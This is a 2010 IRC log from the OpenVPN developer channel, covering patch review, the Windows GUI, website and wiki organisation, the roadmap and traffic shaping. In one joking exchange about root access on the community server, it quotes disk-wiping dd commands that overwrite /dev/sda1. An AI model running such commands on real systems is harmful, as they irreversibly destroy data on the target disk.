19:01 < ecrist> quoted. 19:01 * ecrist has blood in alchohol stream 19:11 < krzee> [17:01] * ecrist hates being quotes. 19:11 < krzee> hehehe 19:11 < krzee> quotes you saying you hate being quoted! 19:26 < ecrist> muahahaha 23:02 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel --- Day changed Mon Nov 29 2010 00:16 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 00:16 -!- mode/#openvpn-devel [+o mattock] by ChanServ 00:38 <@mattock> krzee: the new gui will hopefullly be included in 2.2 final release 00:38 <@mattock> but the new GUI can be installed separately after installing openvpn itself 00:43 < krzie> and does it talk to management interface? 00:50 <@mattock> I think so, yes... but d457k knows the details better 00:50 < krzie> badass 02:31 -!- dazo_afk is now known as dazo 02:37 < common> dazo: ping 02:37 <@dazo> common: pong 02:38 < common> http://article.gmane.org/gmane.network.openvpn.devel/4185 02:38 <@vpnHelper> Title: Gmane -- Mail To News And Back Again (at article.gmane.org) 02:38 < common> what to do to get this merged? 02:38 * dazo looks 02:38 < common> adds support to use the extv3 extensions of a cert for authentication 02:39 < common> I needed altSubjectName for the email address 02:39 <@dazo> cool! well, I do see the value of it ... the patch will need to be reviewed by someone for sure ... that's basically some patience 02:40 < common> time is not a problem 02:40 < common> I'm just interested in the procedure 02:40 <@dazo> We can put it on the meeting agenda for the developer meeting on Thursday ... and see if it gets a review or someone steps out to do the review 02:41 < common> fine for me 02:41 <@dazo> when someone responds on the devel meetings or on the mailing list with an ACK ... that's basically what's needed, then I pull these patches into the tree 02:41 < common> there was somebody on the forums who needed the same thing: https://forums.openvpn.net/viewtopic.php?f=4&t=7173&p=8562#p8562 02:41 <@dazo> but the ACK needs to come from some people who has been vocal on the mailing list before .... so that we know the ACKer a little bit 02:41 <@vpnHelper> Title: OpenVPN Support Forum View topic - draft HOWTO "Use a Windows CA with OpenVPN" (at forums.openvpn.net) 02:41 < common> sure 02:42 <@dazo> but anyway, common .... thank you very much for the patch! Any patches are highly appreciated! 02:44 < common> we havew to run this code anyway 02:44 < common> so either we maintain it ourselves 02:45 < common> or try to get it upstream 02:45 < krzie> the main thing that can help it is testers, a lil code review, and the fact that you're willing to maintain it 02:45 < common> getting it upstream is less work, and more social 02:46 < krzie> hey dazo is socks auth in testing snapshots? 02:46 * dazo reads scrollback 02:47 < common> btw 02:47 < common> do you know uncrustify? 02:47 < common> indenting godness for c 02:48 <@dazo> krzie: socks auth is merged into beta2.2 ... it's still waiting to be merged into allmerged, due to a merge conflict cron2 is looking at ... The updated Solaris tun/tap driver conflicts with his IPv6 stuff 02:48 < krzie> oh coolness 02:49 <@dazo> common: I've not seen uncrustify ... but I'm using indent in some other projects 02:49 <@dazo> (yeah, I know the coding style in openvpn is discussable ... but I'm just following James' standards) 02:50 <@dazo> common: mattock: regarding new windows GUI ... it will not go into 2.2 ... as we're on the last round of beta's ... next 2.2 release is a RC, which means no new features .... but for 2.3, it should be possible 02:54 < common> I'll have to use the securepoint vpn gui then :\ 02:55 <@dazo> common: well, there is something which d457k (which is the GUI developer) claims to be 90-95% usable ... 02:55 * dazo finds the URL 02:55 <@dazo> http://sourceforge.net/projects/openvpn-gui/ 02:55 <@vpnHelper> Title: OpenVPN GUI | Download OpenVPN GUI software for free at SourceForge.net (at sourceforge.net) 02:56 <@dazo> common: ^^ this is the upstream GUI development project ... so you'll find the latest goodies there 02:56 < common> k, will give it a shot 02:58 < krzie> hey cool! 02:59 <@dazo> krzie: cool! you're in such a cool mood today! getting cold where you are? :-P 03:00 < krzie> haha, actually the fan is on pretty high 03:00 < krzie> but nah it never gets old on the tropical island ;] 03:01 <@dazo> heh ... lucky you :) 03:01 < common> http://openvpn-gui.git.sourceforge.net/git/gitweb.cgi?p=openvpn-gui/openvpn-gui;a=commitdiff;h=4bcebba60fdcbf4ef054a03fc939e371b1a53482;hp=7c4bea3f7e1fb794b2886a68d089d9f565b8cfae 03:01 <@dazo> well, it started snowing in most of Europe this weekend ... and in Croatia it was complete chaos on Saturday 03:01 <@vpnHelper> Title: SourceForge - openvpn-gui/openvpn-gui/commitdiff (at openvpn-gui.git.sourceforge.net) 03:01 < common> looks good 03:01 <@dazo> common: perfect! 03:02 <@dazo> common: I believe d457k would appreciate some help and feedback with testing at least ... so if you have time and possibility to help out, I'm sure that will be appreciated 03:02 < common> I suck at gui programming, but I'll have to test this anyway 03:02 <@dazo> :) 03:03 < common> a pitty this won't make it into 2.2 03:03 <@dazo> common: I can understand that ;-) well, providing feedback and tell him that his crap doesn't work for you .... that's also helpfull :) 03:04 < common> I'd consider adding a beta version of the new gui, independent of the state 03:04 < common> as the management interface is required on current windows 03:04 <@dazo> yeah, it's a pity for the 2.2 ... we want to try to get it into, but our community build environment for Windows didn't get ready for it ... so James still have to build the 2.2-beta5 release, which means the old GUI 03:04 < common> you just need it 03:04 <@dazo> (james as pretty loaded with stuff, so we can't push too much expectations unto him) 03:05 < common> if you've never had issues with openvpn, 'cause it just works, you are surprised how messy this is with windows 03:06 <@dazo> yeah, the management API is really needed .... but we plan on a RC release before Christmas and then a release early/mid January if all goes well ... so we don't want to add more new features to delay the 2.2 release 03:07 <@dazo> but we're probably aiming for 2.3-beta releases late-February/early-March, or thereabout 03:08 <@dazo> (The 2.3 release will include complete IPv6 support ... so that's going to be a bigger update, feature wise) 03:09 < common> I hate webdesign myself, as well as writing docs 03:10 < common> but the structure of the community section on openvpn.net is confusing 03:10 <@dazo> heh .... yeah ... 03:11 < common> and you may want to turn off svn.openvpn.net - I do not know if it is still used 03:11 < common> and link the git repo in a place where it can be found 03:11 <@dazo> james still uses it ... I'm pulling down his changes via SVN at the moment ... but after 2.2 is released, SVN is dead 03:12 < common> k 03:12 <@dazo> but you're right, mentioning it on the web pages is a good idea 03:12 < common> I guess you are pissing off cisco quite a bit with openvpn 03:12 <@dazo> I dunno ... but sure hope so! ;-) 03:13 < common> me too 03:13 < common> given the scope of our deployment, I'll ask my boss to make a donation to the project 03:13 <@dazo> at least at work, I can use openvpn and vpnc (against Cisco concentrators) ... and openvpn is rock solid compared vpnc ... a little package drop and the vpnc dies 03:14 <@dazo> common: that'd be highly appreciated! 03:14 < common> I got the most weird vpn setup ever here 03:14 < common> authentication based on certificate & email 03:14 < common> ip address based on host and email 03:15 < common> access to the network based on ip address 03:15 <@dazo> common: have you looked at eurephia? 03:15 <@dazo> http://www.eurephia.net/ 03:15 < common> yes 03:15 <@vpnHelper> Title: eurephia :: a flexible OpenVPN authentication module (at www.eurephia.net) 03:15 <@dazo> cool! 03:15 < common> does not work for me :\ 03:15 < common> too bitchy requirements 03:15 <@dazo> tell me more! 03:16 <@dazo> (I'm the one behind eurephia) 03:16 < common> you have users UA UB AC ... 03:16 < common> one openvpn server 03:16 < common> and a cluster of services 03:16 < common> users are allowed to access a part of the cluster depending on the host they use to connect to the service 03:17 < common> so they get an static ip based on their email & host address they use to connect to the openvpn server 03:18 < common> and this static ip got a bunch of iptables rules to control access 03:18 <@dazo> yeah, I understand that concept 03:18 * dazo is doing almost the same in a production environment with eurephia 03:18 < common> I use connect-script with python and a sqlite database for authentication/ip address assignment 03:19 <@dazo> neat 03:19 <@dazo> you actually pull in the clients remote IP address as part of the authentication .... that's an intriguing idea 03:19 < common> the sqlite db is fed via xml export from the user-database from the cluster 03:20 <@dazo> neat! 03:20 <@dazo> (sorry ... I think I misunderstood the IP addr assignment part) 03:20 < common> actually ... I took me 3 months to get this xml, before they've had some 'custom csv' 03:21 <@dazo> ugh ... well, XML + XSLT magic ... and you can do whatever you want ... so I like that idea 03:21 < common> clients get static addresses, so I know by address who is connected (email & host) and which permissions he gets 03:21 <@dazo> I see 03:21 < common> we are layer 3 03:22 < common> and I got a openvz child which has to route 10/8 addresses 03:22 <@dazo> common: but what kind of requirements did you refer to when you said eurephia had too bitchy reqs? 03:22 * dazo is planning on supporting static IP's directly via eurephia ... even though it works well with --ccd as well now 03:22 < common> my own requirements were too bitchy, this xml thing, the email address from the extv3 extensions of the cert, the hosts address as part of address assignment 03:23 <@dazo> ahh ... yeah, the extv3 + host address defining address assignment is tricky 03:23 < common> I'd be glad if I could have used eurephia 03:24 <@dazo> common: what kind of DB backend do you use for your user database (where you extract the XML from) 03:24 < common> sap 03:24 <@dazo> ugh .... okay, that's pretty nasty :) 03:24 < common> yeah 03:25 * dazo will not consider sap integration for eurephia ... not yet :) 03:25 < common> I can recommend sqlite 03:25 < common> check shot 03:25 < common> cheap shot 03:25 <@dazo> sqlite is lovely in many situations ... and it's very efficient 03:26 < common> its more or less mantainance free, so user do not know there is a database 03:26 < common> so they have no reason to be afraid 03:26 <@dazo> a bit tricky to work with in C, as you need callback functions for extracting the result of SQL queries ... but it's really decent for smaller things 03:26 < common> yep, c api sucks compared to python 03:26 <@dazo> but it's lacking security controls, it's based on file access limitations 03:27 < common> it is the worlds most used database 03:27 <@dazo> common: you could check out the stuff I've done in the eurephia sqlite database ... I've made it somewhat similar to what PostgreSQL and MySQL does 03:27 < common> since firefox uses it for bookmarks 03:27 <@dazo> yeah 03:27 <@dazo> and many mobile phones nowadays uses it under the hood as well 03:28 < common> android 03:28 <@dazo> mm 03:34 < common> for eurephia 03:35 < common> while I totally share the love for c, I was asking myself if it iwas not easier to embed a scripting language interpreter such as python or lua 03:36 < common> easier to adjust to certain requirements 03:36 <@dazo> I've been thinking about that myself 03:36 <@dazo> for some of the tweaking part, it's definitely a more flexible approach 03:36 < common> and it is more fault tolerant 03:37 <@dazo> depends on what you define as faults and being tolerant ;-) 03:38 < common> you are unlikely to be able to segfault something from a script 03:38 < common> the interpreter may throw an exception 03:38 < common> thats it 03:38 <@dazo> heh ... yeah, if the plug-in catches it and handles that gracefully :) 03:39 < common> I'm embedding python3 in a project 03:39 < common> and I love it 03:39 <@dazo> I've been writing a lot of code for the python-dmidecode project .... and I do get python to segfault there from time to time ... but it's the C part in python, of course, which causes this 03:39 <@dazo> common: got some pointers for such embedding? 03:39 < common> cython 03:40 < common> write the glue code with cython, the cython pyx files get translated to c, c to the library python can load 03:40 < common> can't be easier 03:40 <@dazo> aha ... I'll check out that 03:42 < common> best thing is 03:42 < common> you get a python cli for free in your program :) 03:42 < common> so you can interact with the internal state if you want to 03:43 < common> great to debug & test 03:45 < common> lua is another option, but I've been looking for something with better oo support 03:46 < common> + there is no cython for lua 03:46 <@dazo> yeah, I've been using lua via imapfilter ... but the language syntax can be more confusing 03:47 < common> I can't recommend spidermonkey/javascript, the garbage collector is not deterministic, the parts required are not documented, and the gc always kills objects still in use 03:47 < common> no idea why firefox works 03:47 <@dazo> does it? 03:47 < common> sometimes 03:47 <@dazo> I mean, does firefox really work? :-P 03:48 <@dazo> I'm still reminded about the blessings of crapping Netscape and moving to Firefox when v1.0 came ... that was a liberation feeling and the resource consumption was dramatically reduced .... but now, Firefox continues where Netsc(r)ape stopped 03:49 <@d457k> krzie: yes, the latest gui talk via mgmt itf 03:49 < common> dazo: right 03:49 < krzie> and that is good stuff! 03:49 <@d457k> common: and if it' not usable for you pleas get back to me and I'll fix it 03:50 < common> my word on it 03:50 < krzie> if the tunnelblick guys start doing that i will switch to using a gui 03:52 < common> d457k: bitch somebody to link it on openvpn.net 03:53 < common> had to harrass people for weeks, containing them, waterboarding, until somebody would come up with the link 03:53 <@dazo> lol 03:55 < common> do you have developers using debian/ubuntu? 03:56 <@dazo> common: agi is the debian maintainer 03:56 <@dazo> that's probably the closest I know about right now 03:56 < common> I'd love a ppa for beta packages 03:57 <@dazo> agi: ^^^ :) 03:57 < common> openvpn is trivial to install, sure, but a ppa is + 03:57 <@dazo> hmmm 03:57 <@dazo> what am I thinking of .... 03:57 <@dazo> just a sec 03:58 <@dazo> http://build.openvpn.net/downloads/beta22/ 03:58 <@vpnHelper> Title: Index of /downloads/beta22 (at build.openvpn.net) 03:58 <@dazo> common: ^^ 03:58 < common> one more link which should be visible on openvpn.net 03:58 <@dazo> http://build.openvpn.net/downloads/releases/ 03:58 <@vpnHelper> Title: Index of /downloads/releases (at build.openvpn.net) 03:58 <@dazo> that's probably better ... that's the released versions which are here 03:59 < common> nah, beta testers make sure releases are stable, always try to have people using beta code 03:59 < common> works for microsoft too 04:00 <@dazo> it's just that the release/ directory is fresher ... the auto-build for the beta2.2 directory is temporarily stopped due to some issues 04:01 < common> saw it on the list, some python build changes? 04:01 <@dazo> the windows build environment is being moved over to use python 04:03 < common> lack of autoconf and a sane make is a really pita on windows 04:03 <@dazo> yeah, and mingw/cygwin is not always working too well ... and some people wants to build via Visual Studio ... so, that's how it is 04:10 < common> I was surprised how much diskspace you need to install visual studio 04:13 <@dazo> common: ecrist installed Xcode on OSX this weekend .... I'm not sure that was even better ... 04:13 <@dazo> <ecrist> [27-11 03:07:13] sheesh, 9.54GB of installed *shit^H^H^Htuff* 04:17 -!- common- [~common@p5DDA4AD7.dip0.t-ipconnect.de] has joined #openvpn-devel 04:18 -!- common [~common@p5DDA46F0.dip0.t-ipconnect.de] has quit [Read error: Operation timed out] 04:18 -!- common- is now known as common 04:53 -!- helmut_ is now known as helmut 05:51 <@d457k> mattock: tell me who can change the link to the gui on openvpn.net or i'll tell common to bitch at you =) 06:23 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 06:43 <@dazo> mattock: you around? 06:45 <@dazo> nm ... need to go intoa meeting 07:46 <@mattock> dazo: I can 07:46 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Quit: Leaving.] 07:55 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 07:55 -!- mode/#openvpn-devel [+o mattock] by ChanServ 07:57 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Ping timeout: 260 seconds] 08:01 -!- roentgen [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 09:45 -!- roentgen [~arthur@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 10:55 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 260 seconds] 11:20 -!- nebzz [~patel@adsl-71-140-186-190.dsl.pltn13.pacbell.net] has quit [Quit: ircN 8.00 for mIRC (20080809) - www.ircN.org] 13:55 -!- dazo is now known as dazo_afk 14:06 -!- krzie [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:52 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Ping timeout: 240 seconds] 14:59 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 14:59 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 21:12 -!- cron2 [~gert@openvpn/community/developer/cron2] has quit [Ping timeout: 250 seconds] 21:52 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 23:13 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Ping timeout: 260 seconds] 23:21 -!- cron2 [~gert@kirk.greenie.muc.de] has joined #openvpn-devel 23:53 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 23:54 -!- mode/#openvpn-devel [+o mattock] by ChanServ --- Day changed Tue Nov 30 2010 01:30 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 02:02 -!- mattock [~samuli@dyn55-11.yok.fi] has quit [Read error: Operation timed out] 02:23 -!- dazo_afk is now known as dazo 03:14 -!- dazo is now known as dazo_afk 03:17 -!- dazo_afk is now known as dazo 03:29 -!- mape2k [~jabber@galatea.net.pennewiss.de] has joined #openvpn-devel 04:14 -!- cron2 [~gert@kirk.greenie.muc.de] has quit [Changing host] 04:14 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 04:14 -!- mode/#openvpn-devel [+o cron2] by ChanServ 04:17 -!- common- [~common@p5DDA4977.dip0.t-ipconnect.de] has joined #openvpn-devel 04:21 -!- common [~common@p5DDA4AD7.dip0.t-ipconnect.de] has quit [Ping timeout: 265 seconds] 04:21 -!- common- is now known as common 04:38 -!- mattock [~samuli@dyn55-11.yok.fi] has joined #openvpn-devel 04:38 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:08 -!- d457k [~heiko@vpn.astaro.de] has quit [Remote host closed the connection] 05:10 -!- d12fk [~heiko@2a01:198:4d7:1128:21f:c6ff:fe44:aec8] has joined #openvpn-devel 05:10 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 06:38 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 06:47 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 07:21 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 07:32 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Connection reset by peer] 07:33 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has joined #openvpn-devel 07:44 <@mattock> dazo: there? 07:46 <@dazo> mattock: busy ... but yeah 07:46 <@mattock> what about the link to openvpn-gui? 07:47 <@mattock> I hear there's something wrong with it :) 07:47 <@dazo> I don't recall the details ... but common had troubles finding the link on the official openvpn.net pages to the openvpn-gui project pages, if I understood it correctly 07:48 <@mattock> ok, I'll see what I can do 07:49 <@dazo> common: ^^^ if you have some more input/feedback in regards to the web pages ... mattock is the guy who has some more power to try to change things 08:44 <@mattock> ecrist: no response yet about the openvpn logo 08:45 <@mattock> also james has not responded to 2.2-beta5 stuff, either :( 08:46 < common> mattock: I'd consider creating community.openvpn.net for *all* the stuff one may want to reach 08:46 < common> basically thats ml address & archive, maybe link to gmane 08:46 < common> git 08:46 < common> and gui 08:47 <@mattock> you mean having a proxy address, like https://community.openvpn.net/git, https://../openvpn-devel, etc. ? 08:47 < common> no, host all the crap in a sep domain 08:47 < common> browing the current page is messy, even google fails to come back with good hints 08:48 <@mattock> which page? openvpn.net? 08:48 < common> yes 08:48 <@mattock> yeah, I know 08:48 < common> previously the page was easy, now there is this cms? and the content got c&p, little structure, very very hard to deal with 08:49 < common> openvpn got a new windows gui which uses the management interface - *great* 08:49 < common> find this on the page 08:49 < common> you use git? *great* 08:49 < common> find this on the page 08:50 < common> you got trac/bugtracker/... 08:50 < common> find this on the page 08:50 < common> you can't 08:50 <@mattock> hosting everything in a separate domain might eventually happen, but not with the amount of time/resources we (=I) got... Instead, I've tried to move content that changes often to community.openvpn.net and link to it from openvpn.net 08:51 <@mattock> of course, it's very much w.i.p. 08:51 < common> I know, webthings suck 08:51 <@mattock> I agree stuff can be very hard to find from openvpn.net 08:51 * ecrist suggests off-loading some of that to other community members... 08:52 * dazo seconds that 08:52 * ecrist points to self, and some others in this channel. 08:52 <@mattock> well, the more content there is in community.openvpn.net, the less need there is to edit openvpn.net directly... 08:52 < common> for a start, I'd simply link the community link on the main page to the trac thing 08:52 <@mattock> if it were up to me, I'd have no issue with it 08:53 < common> create an anon account for the wiki and put the credentials in the topic 08:53 <@mattock> common: that could work... although the Wiki/bug tracker can be found from the "Community software" menu. 08:53 <@dazo> common: even though mattock is in a unique position between the community and the openvpn company, he's unfortunately not the one who does the final decisions ... but he is heard 08:54 < common> so people who care can change things 08:55 <@mattock> common: why anonymous account for the wiki? 08:55 < common> chatuser:password 08:55 < common> else you have to sign up everybody by hand 08:55 < common> or end up with spam bots 08:55 < common> my very own trac experience 08:56 < common> k, got a captcha 08:56 <@mattock> well, currently anybody who creates an account using pwm (https://community.openvpn.net/account) can edit the wiki 08:56 <@vpnHelper> Title: OpenVPN user account management service (at community.openvpn.net) 08:56 <@mattock> or use the forums 08:56 <@mattock> and we've had 2 spam issues in ~10 months 08:56 < ecrist> common: we're not about to allow purely anonymous users to edit the front page, I think. 08:57 < common> I see you got a captcha for registration 08:57 -!- mape2k [~jabber@galatea.net.pennewiss.de] has quit [Quit: Leaving.] 08:57 <@mattock> common: yeah, and I think the separate user account management service confuses some bots badly 08:57 <@mattock> they expect to see trac registration 08:57 < ecrist> it does, our forum spam went to zero when we started using pwm. 08:57 <@dazo> common: another reason for enforced registration is that it makes it easier to contact people who have reported bugs .... anonymous bug reports which do not have enough info are useless - now we can follow them up much better 08:58 <@mattock> dazo: very true... many of the old SF.net bug reports are useless because of this 08:58 < ecrist> I think the most interesting thing to take of this suggestion is to move more of the community data to the community site, where others can update things. 08:58 <@dazo> agreed 08:59 <@dazo> and that's a job community people can do in fact 08:59 < ecrist> right 08:59 <@dazo> (just register and start editing) 08:59 * dazo heads for a meeting again 08:59 < common> too many required fields for registration, only field I'm missing is my neighbours cats birthday 08:59 < common> you need username + email + password 08:59 < common> thats it 08:59 <@mattock> mmm... and what else is there? 09:00 <@mattock> I removed all of the other crap (incl. neighbours cat's birthday :) intentionally 09:00 < ecrist> common, you only need username, email, and name 09:01 <@mattock> oh yes, first name and last name 09:01 < ecrist> that's fine, I think. 09:01 < common> data which is not stored can't be stolen 09:02 * ecrist not worried about my first/last name being stolen. 09:03 < common> I'd put the documentation into the wiki as well 09:04 < common> and have the logo in the wiki link to the wiki 09:04 < ecrist> ? 09:04 < common> so one can get back to / with a single click 09:04 < common> https://community.openvpn.net/openvpn/wiki/RelatedProjects 09:04 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net) 09:04 < common> how to get back to / ? 09:04 < ecrist> click on Wiki 09:05 < common> https://community.openvpn.net/ = https://community.openvpn.net/openvpn = https://community.openvpn.net/openvpn/wiki 09:05 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 09:05 <@mattock> common: the idea is to move more and more documentation away from openvpn.net to the wiki to allow public editing 09:05 < common> I have to admit I was mostly unaware of the wiki 09:05 < ecrist> from where we were a year ago, we've come quite a long way 09:06 < ecrist> common - the wiki has only been around for ~ 6 mos 09:06 < common> I guess google does not index it 09:06 * ecrist would fix that, if mattock would get him shell... 09:06 < ecrist> poke poke 09:06 <@mattock> common: I don't doubt it... when I started working for openvpn tech, I did pretty thorough research of the stuff related to openvpn, and it was "all over the place" and really hard to find 09:06 < common> hrm it is indexed, but was never returned in a search 09:07 <@mattock> ecrist: ok :) 09:08 < ecrist> maybe I already have it 09:08 <@mattock> hmm, could be 09:08 <@mattock> I can check 09:08 <@mattock> yep, you got creds for community 09:09 < ecrist> nm, mattock, I've got it already 09:09 < ecrist> muahahaha 09:09 < ecrist> root@community:~# id 09:09 < ecrist> uid=0(root) gid=0(root) groups=0(root) 09:10 < common> I just found the roadmap 09:10 <@mattock> ecrist: are you going to blast us back to stoneage with well-targeted "dd if=/dev/urandom of=/dev/sda1" ? 09:10 <@mattock> :) 09:10 < ecrist> lol 09:11 < common> do you really want to add threads? 09:11 < ecrist> and he said unto them, return to nothing as he ran dd if=/dev/zero of=/dev/sda1 09:12 < common> given aes-ni/padlock - a single core can saturate a gbit link easily 09:12 < ecrist> common, I think if you stick around, you'll find information _is_ available, we're all working on organizing things better, but it takes time 09:12 < ecrist> less than a year ago, OpenVPN didn't acknowledge the community. With mattock's (and others') help, we've come to where we are now. 09:12 < common> ecrist: most of my criticism is wrong anyway, now that I found the wiki 09:13 <@mattock> and any suggestions to improve the current situation are most welcome... especially concrete and implementable ones :) 09:13 < ecrist> exactly. 09:13 <@mattock> such as "this page on openvpn.net has wrong information" 09:13 < ecrist> or, OpenVPN needs more dead hookers. 09:13 < ecrist> that I can help with 09:13 <@mattock> oh, I was just about to ask about those :) 09:14 <@mattock> ecrist: seriously... did I hear you could do something about the google indexing? 09:15 <@mattock> "openvpn wiki" does not give especially impressing results 09:15 < ecrist> yes, I worked to fix the forum, didn't I? 09:15 <@mattock> on google 09:15 <@mattock> yeah, you did, you're the man :) 09:15 * ecrist notes openvpn wiki shows secure computing before openvpn.net. :) 09:16 < ecrist> mattock: I'll work on improving our standing in search results. 09:16 < ecrist> part of it will come with more links from other sites 09:16 < common> roadmap: for the event system, I'd always use libev in favour of libevent 09:16 < ecrist> another part will arise from better indexing config. 09:17 < common> I use libev myself and it rocks 09:17 <@mattock> ecrist: good thing you got a hang of these things... I don't and don't have much extra time unfortunately 09:18 <@dazo> common: please update that point, as we need to check out libevent and alternatives ... libevent is just an example in the roadmap 09:18 <@dazo> roadmap is still in draft mode 09:19 < ecrist> roadmap is always in draft mode 09:19 < ecrist> :) 09:20 <@dazo> heh :) 09:23 < common> and I guess you are mixing asynchronous with nonblocking 09:24 <@dazo> possibly and not intentionally ... it's been written at late evenings :) 09:25 < common> I'd love to see scriptability 09:25 < common> for cheap tasks 09:25 < common> like authentication 09:25 <@dazo> that's already doable 09:25 < ecrist> that's already doable 09:25 < ecrist> gah 09:25 < ecrist> jinx 09:26 < common> fine, show me how to get the ssl ctx of a client authenticating in a script 09:26 <@dazo> common: look up the "SCRIPTING AND ENVIRONMENTAL VARIABLES" in the man page 09:26 < common> that is very limited 09:27 < common> a choosen set of vars is copied into the env of a process 09:27 <@dazo> yeah, I'm working on a v3 plug-in interface for C plug-ins which gives the complete SSL context for the client connection ... I've just not had time to complete it 09:28 <@dazo> not sure how doable it is to make all the context info available via the scripts plug-in though 09:29 <@dazo> but with the v3 API, it should be doable to write a plug-in which will support embedded python scripting in addition 09:29 <@dazo> and provide that info in a more sensible manner 09:29 < common> and, I'd add rate limiting to the roadmap 09:30 < common> so you can limit clients to a given rate by config 09:30 <@dazo> that'd be a natural module in the stack ... please append it to the suggested module list 09:35 < common> done 09:35 <@dazo> thx 09:44 < ecrist> can't you do that with shaper? 09:45 < common> tc? 09:46 < common> with tc you need the information from where a user is connecting from 09:48 < ecrist> not sure what tc is 09:48 < common> traffic control 09:48 < common> shaping on linux 09:48 < ecrist> there's an actual --shaper option in openvpn 09:48 <@dazo> but that only works on the client side, and only in one direction iirc 09:49 < ecrist> well, you can only limit traffic outgoing 09:49 < ecrist> you can attempt to limit or restrict incoming traffic by limiting acks, but you really can't stop the flow 09:49 <@dazo> and if you use it on the server, it'll harm all clients at the same time .... so you'll limit the total bandwidth of all clients 09:49 < common> ecrist: wrong 09:50 < ecrist> common, enlighten me 09:50 < common> if the inq is full, stop reading, tcp window will fill up, and throttle itself 09:51 < common> basically you remove the fd from the pollset for a certain period of time 09:52 < common> same for out 09:53 <@mattock> edited related projects page to mention the "Windows GUI" situation more clearly: https://community.openvpn.net/openvpn/wiki/RelatedProjects 09:53 <@vpnHelper> Title: RelatedProjects – OpenVPN Community (at community.openvpn.net) 09:53 < ecrist> hah, that's only if the other end obeys 09:53 <@mattock> the "Graphical user interface" page on openvpn.net links to that page 09:54 < common> if you are using tcp and the other end does not comply, it is broken or dos 09:54 <@mattock> the old GUI was hard/impossible to find from the RelatedProjects page 09:55 < ecrist> now you're splitting hairs, common. my argument is that you simply cannot shape incoming traffic reliably. 09:55 < ecrist> and to think that you can is foolish 09:56 <@vpnHelper> RSS Update - tickets: #70: OpenVPN 2.1.x via-env pushing of password variable doesn't work <https://community.openvpn.net/openvpn/ticket/70> 09:57 < common> you can for 95% of all use cases, the remaining 5% are malicious where a remote host just sends you crap 10:01 < common> wget --limit-rate=1 http://www.openvpn.net -O /dev/null 10:01 <@vpnHelper> Title: OpenVPN - Open Source VPN (at www.openvpn.net) 10:02 < common> you are free to setup a server which speaks tcp and does not honor my limit when I download 10:02 -!- roentgen_ [~arthur@openvpn/community/support/roentgen] has quit [Read error: Operation timed out] 10:04 <@dazo> mattock: re: your patch ... you can skip saying "fake configure.h" ... what you create is a proper configure.h file ... 10:05 <@mattock> I guess so... 10:05 <@dazo> mattock: nad WINBUILD_PARAMS is not used anywhere, but feel free to add it to options.c, where CONFIGURE_CALL and CONFIGURE_DEFINES are used 10:06 <@mattock> that's what I thought, I'll add it to options.c 10:07 <@dazo> cool, thx! 10:08 <@mattock> ecrist: any progress on the donation/bounty system? 10:08 <@dazo> common: I see you got a review on your patch ... so I think that review speaks for itself to get an updated patch ... hope you don't mind that 10:09 < ecrist> haven't even thought about it 10:09 < ecrist> until just now 10:10 <@mattock> dazo: the review/ACK/NACK system is excellent to keep people like me (=limited coding experience) pushing new and new versions of the same patches :D 10:10 <@mattock> although all the feedback has been good and useful so far 10:10 <@dazo> mattock: hehe ... yeah :) 10:10 <@dazo> I like it, as it can really improve the code 10:13 <@mattock> yep, and helps maintain the same coding style, too 10:13 <@dazo> yeah 10:13 < ecrist> mattock: did you have input for bounties/etc? 10:13 < ecrist> I should probably put that on my plate and get it done 10:13 <@mattock> no, not really... except that I found two obsolete donation links which should be removed: 10:13 <@mattock> http://openvpn.net/index.php/open-source/donate.html> 10:13 <@mattock> http://sourceforge.net/project/project_donations.php?group_id=48978 10:13 <@vpnHelper> Title: Donate and Support OpenVPN Community Software (at openvpn.net) 10:13 <@vpnHelper> Title: SourceForge.net: Project Donations: OpenVPN (at sourceforge.net) 10:14 <@mattock> I have no clue where the money goes :) 10:14 <@mattock> probably to James 10:14 <@mattock> but definitely not to the project per se 10:14 <@mattock> so those links reminded me of the bounty system :) 10:15 < ecrist> yeah, it wouldn't be too difficult to code, the only large concern being how things are handled with money 10:15 < ecrist> I think money needs to be collected when bounty is offered, allow offerer to set a timeout, after timeout, money is refunded 10:18 < ecrist> I'll have to look in my notes, this was discussed at length at one point. 10:20 <@mattock> https://community.openvpn.net/openvpn/wiki/DeveloperBounties 10:20 <@vpnHelper> Title: DeveloperBounties – OpenVPN Community (at community.openvpn.net) 10:22 <@dazo> common: btw ... when you're in the process of fixing your patch .... please apply the general coding style to your new function [extract_x509_extension()] as well 10:23 <@dazo> (I do like your coding style better .... but we need to have one coding style in the code, and not different coding styles in different functions, that easily gets messy) 10:35 < common> dazo: yep 10:36 < common> I think the asn1 conversion issue holds true for the standard authentication as well 10:38 <@dazo> possibly, I've not looked much at that code path 10:39 <@dazo> but feel free to fix things you see :) 10:40 < common> I'm not familiar with the certificate part of openssl 10:40 < common> thats why I ask 10:45 <@dazo> I'm not too much into the OpenSSL devel myself yet 